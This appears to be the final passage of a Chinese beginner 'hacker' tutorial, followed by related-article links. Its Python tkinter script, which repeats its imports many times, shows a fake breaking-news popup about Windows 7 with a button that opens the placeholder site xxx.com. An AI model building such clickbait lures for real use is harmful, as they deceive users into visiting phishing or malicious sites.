import tkinter as tk import tkinter.messagebox import pickle import pickle import tkinter as tk import tkinter.messagebox import subprocess import time from os import path from subprocess import Popen, PIPE from tkinter import * from tkinter import ttk from tkinter.filedialog import askopenfilename from time import sleep import time from tkinter import * import tkinter.messagebox import tkinter.filedialog import os import datetime import tkinter as tk import tkinter.messagebox from os import path from subprocess import Popen, PIPE from tkinter import * from tkinter import ttk from tkinter.filedialog import askopenfilename from time import sleep import time from tkinter import * import tkinter.messagebox import tkinter.filedialog import os import webbrowser def tiaozhuan(): webbrowser.open("xxx.com") window=tk.Tk() window.title('頭條新聞——新聞,找頭條!') window.geometry('450x300') tk.Label(window,text='最新消息!微軟決定拋棄Windows 7!詳情請點擊:').place(x=0,y=0) b = tkinter.Button(window,text = '詳情',bg='cyan',font = ('幼圓',15),bd = 0.5,width=10,height=5,command = tiaozhuan).place(x=50,y=100,anchor='nw') window=tk.Tk() window.withdraw() window.mainloop()
結束
你已經(jīng)成為一名優(yōu)秀的黑客兼程序員了!接下來,你可以繼續(xù)閱讀我后面出的高級書籍,或者放棄,這要由你來選擇!
期望你在后面的路上能走得更遠,再見!
相關文章
tensorflow將圖片保存為tfrecord和tfrecord的讀取方式
今天小編就為大家分享一篇tensorflow將圖片保存為tfrecord和tfrecord的讀取方式,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-02-02Django ORM數(shù)據(jù)庫操作處理全面指南
本文深度探討Django ORM的概念、基礎使用、進階操作以及詳細解析在實際使用中如何處理數(shù)據(jù)庫操作,同時,我們還討論了模型深入理解,如何進行CRUD操作,并且深化理解到數(shù)據(jù)庫遷移等高級主題2023-09-09在Python中操作列表之List.append()方法的使用
這篇文章主要介紹了在Python中操作列表之List.append()方法的使用,是Python入門學習中的基礎知識,需要的朋友可以參考下2015-05-05pytorch之torch_scatter.scatter_max()用法
這篇文章主要介紹了pytorch之torch_scatter.scatter_max()用法,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教2023-09-09Python實現(xiàn)將一段話txt生成字幕srt文件
這篇文章主要為大家詳細介紹了如何利用Python實現(xiàn)將一段話txt生成字幕srt文件,文中的示例代碼講解詳細,感興趣的小伙伴可以了解一下2023-02-02